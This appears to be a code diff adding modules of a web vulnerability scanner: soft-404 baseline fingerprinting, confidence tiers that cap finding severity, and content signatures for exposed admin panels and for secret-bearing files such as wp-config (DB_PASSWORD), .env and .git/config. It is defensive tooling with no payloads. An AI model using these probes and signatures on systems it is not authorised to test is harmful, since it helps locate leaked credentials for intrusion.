import time
|
| 16 |
+
import urllib.error
|
| 17 |
+
import urllib.parse
|
| 18 |
+
import urllib.request
|
| 19 |
+
import uuid
|
| 20 |
+
|
| 21 |
+
|
| 22 |
+
class SiteBaseline:
|
| 23 |
+
"""Thread-safe site baseline fingerprint.
|
| 24 |
+
|
| 25 |
+
Build once per scanner instantiation, then call is_baseline() before reporting
|
| 26 |
+
any path as "found". The baseline is never cached globally — it is always
|
| 27 |
+
fresh per scan to handle CDN variance and session-specific behavior.
|
| 28 |
+
"""
|
| 29 |
+
|
| 30 |
+
# Tolerance in bytes: if a response length is within this many bytes of a
|
| 31 |
+
# baseline sample, it counts as a match (catches gzip/vary minor deltas).
|
| 32 |
+
_LEN_TOLERANCE = 80
|
| 33 |
+
|
| 34 |
+
def __init__(self):
|
| 35 |
+
self._samples: list[dict] = [] # [{status, length, body_hash}]
|
| 36 |
+
self._built = False
|
| 37 |
+
|
| 38 |
+
# ------------------------------------------------------------------
|
| 39 |
+
def build(
|
| 40 |
+
self,
|
| 41 |
+
target: str,
|
| 42 |
+
ssl_context=None,
|
| 43 |
+
headers: dict | None = None,
|
| 44 |
+
timeout: int = 6,
|
| 45 |
+
) -> None:
|
| 46 |
+
"""
|
| 47 |
+
Request 4 random nonexistent paths and record their response fingerprints.
|
| 48 |
+
Paths cover different depths and extensions to detect sophisticated SPAs that
|
| 49 |
+
return different responses for *.json vs no extension, etc.
|
| 50 |
+
"""
|
| 51 |
+
base = target.rstrip("/")
|
| 52 |
+
uid = uuid.uuid4().hex[:8]
|
| 53 |
+
probe_paths = [
|
| 54 |
+
f"/lrs-baseline-{uid}-a",
|
| 55 |
+
f"/lrs-baseline-{uid}-b/sub/path",
|
| 56 |
+
f"/lrs-baseline-{uid}-c.json",
|
| 57 |
+
f"/lrs-baseline-{uid}-d.php",
|
| 58 |
+
]
|
| 59 |
+
|
| 60 |
+
req_headers = {"User-Agent": "LarShield/2.0 BaselineProbe"}
|
| 61 |
+
if headers:
|
| 62 |
+
req_headers.update(headers)
|
| 63 |
+
|
| 64 |
+
for path in probe_paths:
|
| 65 |
+
url = f"{base}{path}"
|
| 66 |
+
try:
|
| 67 |
+
req = urllib.request.Request(url, headers=req_headers)
|
| 68 |
+
with urllib.request.urlopen(
|
| 69 |
+
req, timeout=timeout, context=ssl_context
|
| 70 |
+
) as r:
|
| 71 |
+
body = r.read()
|
| 72 |
+
self._samples.append(
|
| 73 |
+
{
|
| 74 |
+
"status": r.status,
|
| 75 |
+
"length": len(body),
|
| 76 |
+
"body_hash": hashlib.sha256(body).hexdigest(),
|
| 77 |
+
}
|
| 78 |
+
)
|
| 79 |
+
except urllib.error.HTTPError as e:
|
| 80 |
+
# 404/403/etc are also baseline responses
|
| 81 |
+
try:
|
| 82 |
+
body = e.read()
|
| 83 |
+
except Exception:
|
| 84 |
+
body = b""
|
| 85 |
+
self._samples.append(
|
| 86 |
+
{
|
| 87 |
+
"status": e.code,
|
| 88 |
+
"length": len(body),
|
| 89 |
+
"body_hash": hashlib.sha256(body).hexdigest(),
|
| 90 |
+
}
|
| 91 |
+
)
|
| 92 |
+
except Exception:
|
| 93 |
+
# Network error on probe → skip this sample
|
| 94 |
+
pass
|
| 95 |
+
|
| 96 |
+
self._built = True
|
| 97 |
+
|
| 98 |
+
# ------------------------------------------------------------------
|
| 99 |
+
def is_baseline(self, status: int, body: str | bytes) -> bool:
|
| 100 |
+
"""
|
| 101 |
+
Return True if (status, body) matches the site's baseline catch-all response.
|
| 102 |
+
|
| 103 |
+
Matching rules (any one is sufficient):
|
| 104 |
+
1. Body SHA-256 hash matches a baseline sample exactly.
|
| 105 |
+
2. Status AND body length are within tolerance of a baseline sample.
|
| 106 |
+
|
| 107 |
+
We require at least 1 baseline sample to agree (not 3/4) to avoid being
|
| 108 |
+
too lenient on sites that return different 404 pages per path.
|
| 109 |
+
"""
|
| 110 |
+
if not self._samples:
|
| 111 |
+
# Baseline not built or all probes failed — fail open (don't suppress).
|
| 112 |
+
return False
|
| 113 |
+
|
| 114 |
+
if isinstance(body, str):
|
| 115 |
+
body_bytes = body.encode("utf-8", errors="ignore")
|
| 116 |
+
else:
|
| 117 |
+
body_bytes = body
|
| 118 |
+
|
| 119 |
+
body_hash = hashlib.sha256(body_bytes).hexdigest()
|
| 120 |
+
body_len = len(body_bytes)
|
| 121 |
+
|
| 122 |
+
for sample in self._samples:
|
| 123 |
+
# Exact hash match
|
| 124 |
+
if body_hash == sample["body_hash"]:
|
| 125 |
+
return True
|
| 126 |
+
# Same status + length within tolerance
|
| 127 |
+
if (
|
| 128 |
+
status == sample["status"]
|
| 129 |
+
and abs(body_len - sample["length"]) <= self._LEN_TOLERANCE
|
| 130 |
+
):
|
| 131 |
+
return True
|
| 132 |
+
|
| 133 |
+
return False
|
| 134 |
+
|
| 135 |
+
# ------------------------------------------------------------------
|
| 136 |
+
def is_not_found(self, status: int, body: str | bytes = b"") -> bool:
|
| 137 |
+
"""
|
| 138 |
+
Convenience: returns True when this response is definitively not-found,
|
| 139 |
+
either by HTTP status >= 400 or by matching the site's catch-all baseline.
|
| 140 |
+
"""
|
| 141 |
+
if status >= 400:
|
| 142 |
+
return True
|
| 143 |
+
return self.is_baseline(status, body)
|
| 144 |
+
|
| 145 |
+
# ------------------------------------------------------------------
|
| 146 |
+
@property
|
| 147 |
+
def built(self) -> bool:
|
| 148 |
+
return self._built
|
| 149 |
+
|
| 150 |
+
@property
|
| 151 |
+
def sample_count(self) -> int:
|
| 152 |
+
return len(self._samples)
|
backend/scanners/core/confidence.py
ADDED
|
@@ -0,0 +1,128 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
core/confidence.py — Confidence Tier Tracker
|
| 3 |
+
=============================================
|
| 4 |
+
Defines three evidence tiers for injection/exploit findings and enforces
|
| 5 |
+
automatic severity/CVSS capping so that weak-signal signals never appear as
|
| 6 |
+
Critical or High.
|
| 7 |
+
|
| 8 |
+
Tiers
|
| 9 |
+
-----
|
| 10 |
+
CONFIRMED Direct proof: reflected unique token, OOB callback received,
|
| 11 |
+
timing delta reproduced ≥3×, or actual data exfiltrated.
|
| 12 |
+
LIKELY Two or more independent weak signals agree (e.g. error pattern
|
| 13 |
+
PLUS response-time anomaly), but no direct proof.
|
| 14 |
+
UNCONFIRMED Single weak signal only (e.g. one error substring, one generic
|
| 15 |
+
500 response). Auto-capped to severity=Low, CVSS≤3.9.
|
| 16 |
+
PENDING OOB probe sent; awaiting external callback. Resolved to CONFIRMED
|
| 17 |
+
or EXPIRED at end-of-scan.
|
| 18 |
+
|
| 19 |
+
Usage
|
| 20 |
+
-----
|
| 21 |
+
from scanners.core.confidence import ConfidenceTracker as CT
|
| 22 |
+
|
| 23 |
+
sev = CT.cap_severity(severity, confidence)
|
| 24 |
+
cvss = CT.cap_cvss(cvss_score, confidence)
|
| 25 |
+
|
| 26 |
+
self.add_vuln(..., severity=sev, cvss_score=cvss, confidence=confidence)
|
| 27 |
+
"""
|
| 28 |
+
|
| 29 |
+
from __future__ import annotations
|
| 30 |
+
|
| 31 |
+
|
| 32 |
+
class ConfidenceTracker:
|
| 33 |
+
# Canonical tier strings (use these constants everywhere)
|
| 34 |
+
CONFIRMED = "Confirmed"
|
| 35 |
+
LIKELY = "Likely"
|
| 36 |
+
UNCONFIRMED = "Unconfirmed"
|
| 37 |
+
PENDING = "Pending"
|
| 38 |
+
|
| 39 |
+
VALID_TIERS = {CONFIRMED, LIKELY, UNCONFIRMED, PENDING}
|
| 40 |
+
|
| 41 |
+
# Severity order (ascending)
|
| 42 |
+
_SEV_ORDER = ["Info", "Low", "Medium", "High", "Critical"]
|
| 43 |
+
|
| 44 |
+
# Maximum allowed severity per tier
|
| 45 |
+
_MAX_SEV: dict[str, str] = {
|
| 46 |
+
CONFIRMED: "Critical", # no cap
|
| 47 |
+
LIKELY: "High", # confirmed-tier cap not needed; High is reasonable
|
| 48 |
+
UNCONFIRMED: "Low", # single weak signal — never escalate
|
| 49 |
+
PENDING: "Medium", # OOB probe sent but no callback yet
|
| 50 |
+
}
|
| 51 |
+
|
| 52 |
+
# Maximum allowed CVSS per tier
|
| 53 |
+
_MAX_CVSS: dict[str, float] = {
|
| 54 |
+
CONFIRMED: 10.0,
|
| 55 |
+
LIKELY: 6.9,
|
| 56 |
+
UNCONFIRMED: 3.9,
|
| 57 |
+
PENDING: 5.9,
|
| 58 |
+
}
|
| 59 |
+
|
| 60 |
+
# ------------------------------------------------------------------
|
| 61 |
+
@classmethod
|
| 62 |
+
def cap_severity(cls, severity: str, confidence: str) -> str:
|
| 63 |
+
"""
|
| 64 |
+
Return severity capped to the tier maximum.
|
| 65 |
+
|
| 66 |
+
Example:
|
| 67 |
+
cap_severity("Critical", "Unconfirmed") → "Low"
|
| 68 |
+
cap_severity("Critical", "Confirmed") → "Critical"
|
| 69 |
+
"""
|
| 70 |
+
confidence = cls.normalize(confidence)
|
| 71 |
+
max_sev = cls._MAX_SEV.get(confidence, "Low")
|
| 72 |
+
|
| 73 |
+
try:
|
| 74 |
+
sev_idx = cls._SEV_ORDER.index(severity)
|
| 75 |
+
except ValueError:
|
| 76 |
+
sev_idx = 2 # default to Medium index
|
| 77 |
+
|
| 78 |
+
try:
|
| 79 |
+
max_idx = cls._SEV_ORDER.index(max_sev)
|
| 80 |
+
except ValueError:
|
| 81 |
+
max_idx = 2
|
| 82 |
+
|
| 83 |
+
return cls._SEV_ORDER[min(sev_idx, max_idx)]
|
| 84 |
+
|
| 85 |
+
# ------------------------------------------------------------------
|
| 86 |
+
@classmethod
|
| 87 |
+
def cap_cvss(cls, cvss: float, confidence: str) -> float:
|
| 88 |
+
"""
|
| 89 |
+
Return CVSS score capped to the tier maximum.
|
| 90 |
+
|
| 91 |
+
Example:
|
| 92 |
+
cap_cvss(9.8, "Unconfirmed") → 3.9
|
| 93 |
+
cap_cvss(9.8, "Likely") → 6.9
|
| 94 |
+
cap_cvss(9.8, "Confirmed") → 9.8
|
| 95 |
+
"""
|
| 96 |
+
confidence = cls.normalize(confidence)
|
| 97 |
+
max_cvss = cls._MAX_CVSS.get(confidence, 3.9)
|
| 98 |
+
return min(float(cvss), max_cvss)
|
| 99 |
+
|
| 100 |
+
# ------------------------------------------------------------------
|
| 101 |
+
@classmethod
|
| 102 |
+
def normalize(cls, confidence: str) -> str:
|
| 103 |
+
"""Return a valid tier string, defaulting to UNCONFIRMED for unknown values."""
|
| 104 |
+
if confidence in cls.VALID_TIERS:
|
| 105 |
+
return confidence
|
| 106 |
+
# Case-insensitive lookup
|
| 107 |
+
for tier in cls.VALID_TIERS:
|
| 108 |
+
if confidence.lower() == tier.lower():
|
| 109 |
+
return tier
|
| 110 |
+
return cls.UNCONFIRMED
|
| 111 |
+
|
| 112 |
+
# ------------------------------------------------------------------
|
| 113 |
+
@classmethod
|
| 114 |
+
def apply(
|
| 115 |
+
cls,
|
| 116 |
+
severity: str,
|
| 117 |
+
cvss: float,
|
| 118 |
+
confidence: str,
|
| 119 |
+
) -> tuple[str, float, str]:
|
| 120 |
+
"""
|
| 121 |
+
Convenience: return (capped_severity, capped_cvss, normalized_confidence).
|
| 122 |
+
|
| 123 |
+
Usage:
|
| 124 |
+
sev, cvss, conf = ConfidenceTracker.apply(sev, cvss, confidence)
|
| 125 |
+
self.add_vuln(..., severity=sev, cvss_score=cvss, confidence=conf)
|
| 126 |
+
"""
|
| 127 |
+
conf = cls.normalize(confidence)
|
| 128 |
+
return cls.cap_severity(severity, conf), cls.cap_cvss(cvss, conf), conf
|
backend/scanners/core/signatures.py
ADDED
|
@@ -0,0 +1,268 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
core/signatures.py — Product Content-Signature Registry
|
| 3 |
+
=========================================================
|
| 4 |
+
Maps probe paths / product names to required content markers.
|
| 5 |
+
A response must match at least ONE marker from must_contain to be reported as
|
| 6 |
+
a genuine product finding (as opposed to a 200-OK SPA catch-all).
|
| 7 |
+
|
| 8 |
+
Usage:
|
| 9 |
+
from scanners.core.signatures import matches_signature
|
| 10 |
+
if not matches_signature("jenkins", body, headers):
|
| 11 |
+
return # not really Jenkins
|
| 12 |
+
"""
|
| 13 |
+
|
| 14 |
+
# Registry: key -> {"must_contain": [...], "must_contain_header": [...optional...]}
|
| 15 |
+
# must_contain: any ONE of these strings must appear in the response body (case-insensitive)
|
| 16 |
+
# must_contain_header: any ONE of these must appear in response headers (key:value prefix)
|
| 17 |
+
SIGNATURES: dict[str, dict] = {
|
| 18 |
+
# ── CI/CD ────────────────────────────────────────────────────────────
|
| 19 |
+
"jenkins": {
|
| 20 |
+
"must_contain": [
|
| 21 |
+
"Dashboard [Jenkins]",
|
| 22 |
+
"X-Jenkins",
|
| 23 |
+
"Jenkins</title>",
|
| 24 |
+
"jenkins.js",
|
| 25 |
+
"plugin/credentials",
|
| 26 |
+
],
|
| 27 |
+
"must_contain_header": ["x-jenkins:"],
|
| 28 |
+
},
|
| 29 |
+
"gitlab": {
|
| 30 |
+
"must_contain": [
|
| 31 |
+
"GitLab",
|
| 32 |
+
"gitlab-rails",
|
| 33 |
+
"users/sign_in",
|
| 34 |
+
"gl-field-error",
|
| 35 |
+
],
|
| 36 |
+
},
|
| 37 |
+
"sonarqube": {
|
| 38 |
+
"must_contain": [
|
| 39 |
+
"SonarQube",
|
| 40 |
+
"sonar-ws.js",
|
| 41 |
+
"sonar.js",
|
| 42 |
+
],
|
| 43 |
+
},
|
| 44 |
+
# ── Monitoring / Observability ────────────────────────────────────────
|
| 45 |
+
"grafana": {
|
| 46 |
+
"must_contain": [
|
| 47 |
+
"grafana",
|
| 48 |
+
"GrafanaTheme",
|
| 49 |
+
"grafana-login",
|
| 50 |
+
"Grafana</title>",
|
| 51 |
+
],
|
| 52 |
+
},
|
| 53 |
+
"kibana": {
|
| 54 |
+
"must_contain": [
|
| 55 |
+
"kibana",
|
| 56 |
+
"kbn-",
|
| 57 |
+
"Elastic",
|
| 58 |
+
],
|
| 59 |
+
"must_contain_header": ["kbn-name:"],
|
| 60 |
+
},
|
| 61 |
+
"prometheus": {
|
| 62 |
+
"must_contain": [
|
| 63 |
+
"Prometheus",
|
| 64 |
+
"prometheus_",
|
| 65 |
+
"# HELP",
|
| 66 |
+
"# TYPE",
|
| 67 |
+
],
|
| 68 |
+
},
|
| 69 |
+
# ── Databases ─────────────────────────────────────────────────────────
|
| 70 |
+
"phpmyadmin": {
|
| 71 |
+
"must_contain": [
|
| 72 |
+
"phpMyAdmin",
|
| 73 |
+
"pma_",
|
| 74 |
+
"phpmyadmin",
|
| 75 |
+
],
|
| 76 |
+
},
|
| 77 |
+
"adminer": {
|
| 78 |
+
"must_contain": [
|
| 79 |
+
"Adminer",
|
| 80 |
+
"adminer",
|
| 81 |
+
"db_select",
|
| 82 |
+
],
|
| 83 |
+
},
|
| 84 |
+
"elasticsearch": {
|
| 85 |
+
"must_contain": [
|
| 86 |
+
'"cluster_name"',
|
| 87 |
+
'"number_of_nodes"',
|
| 88 |
+
'"status"',
|
| 89 |
+
'tagline',
|
| 90 |
+
],
|
| 91 |
+
},
|
| 92 |
+
# ── Spring / Java ─────────────────────────────────────────────────────
|
| 93 |
+
"spring_actuator": {
|
| 94 |
+
"must_contain": [
|
| 95 |
+
'"status"',
|
| 96 |
+
'"components"',
|
| 97 |
+
'"diskSpace"',
|
| 98 |
+
'"ping"',
|
| 99 |
+
],
|
| 100 |
+
},
|
| 101 |
+
"spring_actuator_env": {
|
| 102 |
+
"must_contain": [
|
| 103 |
+
'"activeProfiles"',
|
| 104 |
+
'"propertySources"',
|
| 105 |
+
'"systemProperties"',
|
| 106 |
+
],
|
| 107 |
+
},
|
| 108 |
+
# ── PHP Tooling ───────────────────────────────────────────────────────
|
| 109 |
+
"phpinfo": {
|
| 110 |
+
"must_contain": [
|
| 111 |
+
"phpinfo()",
|
| 112 |
+
"PHP Version",
|
| 113 |
+
"php.ini",
|
| 114 |
+
"PHP Extension",
|
| 115 |
+
],
|
| 116 |
+
},
|
| 117 |
+
# ── WordPress ─────────────────────────────────────────────────────────
|
| 118 |
+
"wp_login": {
|
| 119 |
+
"must_contain": [
|
| 120 |
+
"wp-submit",
|
| 121 |
+
"wp-login",
|
| 122 |
+
"WordPress",
|
| 123 |
+
"user_login",
|
| 124 |
+
],
|
| 125 |
+
},
|
| 126 |
+
"wp_config": {
|
| 127 |
+
"must_contain": [
|
| 128 |
+
"DB_NAME",
|
| 129 |
+
"DB_PASSWORD",
|
| 130 |
+
"DB_HOST",
|
| 131 |
+
"define(",
|
| 132 |
+
],
|
| 133 |
+
},
|
| 134 |
+
"wp_xmlrpc": {
|
| 135 |
+
"must_contain": [
|
| 136 |
+
"XML-RPC server accepts POST requests only",
|
| 137 |
+
"xmlrpc",
|
| 138 |
+
],
|
| 139 |
+
},
|
| 140 |
+
# ── API Documentation ─────────────────────────────────────────────────
|
| 141 |
+
"swagger_ui": {
|
| 142 |
+
"must_contain": [
|
| 143 |
+
"swagger-ui",
|
| 144 |
+
"SwaggerUI",
|
| 145 |
+
"Swagger UI",
|
| 146 |
+
"api-docs",
|
| 147 |
+
],
|
| 148 |
+
},
|
| 149 |
+
"openapi_spec": {
|
| 150 |
+
"must_contain": [
|
| 151 |
+
'"swagger"',
|
| 152 |
+
'"openapi"',
|
| 153 |
+
'"paths"',
|
| 154 |
+
],
|
| 155 |
+
},
|
| 156 |
+
"redoc": {
|
| 157 |
+
"must_contain": [
|
| 158 |
+
"ReDoc",
|
| 159 |
+
"redoc",
|
| 160 |
+
],
|
| 161 |
+
},
|
| 162 |
+
# ── Source Control ────────────────────────────────────────────────────
|
| 163 |
+
"git_head": {
|
| 164 |
+
"must_contain": [
|
| 165 |
+
"ref: refs/heads/",
|
| 166 |
+
],
|
| 167 |
+
},
|
| 168 |
+
"git_config": {
|
| 169 |
+
"must_contain": [
|
| 170 |
+
"[core]",
|
| 171 |
+
"[remote",
|
| 172 |
+
"repositoryformatversion",
|
| 173 |
+
],
|
| 174 |
+
},
|
| 175 |
+
"env_file": {
|
| 176 |
+
"must_contain": [
|
| 177 |
+
"=", # at least one KEY=VALUE line
|
| 178 |
+
],
|
| 179 |
+
"_min_matches": 2, # require 2+ KEY=VALUE patterns (avoid single-line pages)
|
| 180 |
+
},
|
| 181 |
+
# ── Containers / Infra ────────────────────────────────────────────────
|
| 182 |
+
"portainer": {
|
| 183 |
+
"must_contain": [
|
| 184 |
+
"Portainer",
|
| 185 |
+
"portainer",
|
| 186 |
+
],
|
| 187 |
+
},
|
| 188 |
+
"kubernetes_dashboard": {
|
| 189 |
+
"must_contain": [
|
| 190 |
+
"Kubernetes Dashboard",
|
| 191 |
+
"kube-dashboard",
|
| 192 |
+
],
|
| 193 |
+
},
|
| 194 |
+
# ── Messaging ─────────────────────────────────────────────────────────
|
| 195 |
+
"rabbitmq": {
|
| 196 |
+
"must_contain": [
|
| 197 |
+
"RabbitMQ",
|
| 198 |
+
"rabbitmq",
|
| 199 |
+
],
|
| 200 |
+
},
|
| 201 |
+
# ── Generic Admin ─────────────────────────────────────────────────────
|
| 202 |
+
"generic_admin_form": {
|
| 203 |
+
"must_contain": [
|
| 204 |
+
"<form",
|
| 205 |
+
"password",
|
| 206 |
+
],
|
| 207 |
+
"_all_required": True, # ALL must_contain must be present
|
| 208 |
+
},
|
| 209 |
+
}
|
| 210 |
+
|
| 211 |
+
|
| 212 |
+
def matches_signature(
|
| 213 |
+
sig_key: str,
|
| 214 |
+
body: str,
|
| 215 |
+
headers: dict | None = None,
|
| 216 |
+
*,
|
| 217 |
+
log_fn=None,
|
| 218 |
+
url: str = "",
|
| 219 |
+
) -> bool:
|
| 220 |
+
"""
|
| 221 |
+
Return True if `body` (and optionally `headers`) satisfy the signature for `sig_key`.
|
| 222 |
+
|
| 223 |
+
Args:
|
| 224 |
+
sig_key: Key in SIGNATURES dict.
|
| 225 |
+
body: Response body text.
|
| 226 |
+
headers: Optional dict of response headers (lowercase keys preferred).
|
| 227 |
+
log_fn: Optional callable(msg) for debug logging of rejections.
|
| 228 |
+
url: URL being probed (for logging only).
|
| 229 |
+
|
| 230 |
+
Returns:
|
| 231 |
+
True → response contains the product signature → report it.
|
| 232 |
+
False → response does NOT match → suppress (log at DEBUG).
|
| 233 |
+
"""
|
| 234 |
+
sig = SIGNATURES.get(sig_key)
|
| 235 |
+
if not sig:
|
| 236 |
+
# No signature defined for this key → pass through (don't suppress).
|
| 237 |
+
return True
|
| 238 |
+
|
| 239 |
+
body_lower = body.lower()
|
| 240 |
+
must_contain = sig.get("must_contain", [])
|
| 241 |
+
must_contain_header = sig.get("must_contain_header", [])
|
| 242 |
+
all_required = sig.get("_all_required", False)
|
| 243 |
+
min_matches = sig.get("_min_matches", 1)
|
| 244 |
+
|
| 245 |
+
# ── Header check ──────────────────────────────────────────────────────
|
| 246 |
+
if must_contain_header and headers:
|
| 247 |
+
hdrs_lower = {k.lower(): str(v).lower() for k, v in headers.items()}
|
| 248 |
+
for hdr_prefix in must_contain_header:
|
| 249 |
+
hdr_key = hdr_prefix.rstrip(":").lower()
|
| 250 |
+
if hdr_key in hdrs_lower:
|
| 251 |
+
return True # Header match is sufficient
|
| 252 |
+
|
| 253 |
+
# ── Body check ────────────────────────────────────────────────────────
|
| 254 |
+
if all_required:
|
| 255 |
+
matched = all(term.lower() in body_lower for term in must_contain)
|
| 256 |
+
else:
|
| 257 |
+
matched_count = sum(1 for term in must_contain if term.lower() in body_lower)
|
| 258 |
+
matched = matched_count >= min_matches
|
| 259 |
+
|
| 260 |
+
if not matched:
|
| 261 |
+
if log_fn:
|
| 262 |
+
log_fn(
|
| 263 |
+
f"[Signatures] SUPPRESSED {url!r}: 200 but no {sig_key!r} signature "
|
| 264 |
+
f"(checked {len(must_contain)} markers)"
|
| 265 |
+
)
|
| 266 |
+
return False
|
| 267 |
+
|
| 268 |
+
return True
|
backend/scanners/cors_scanner.py
ADDED
|
@@ -0,0 +1,278 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
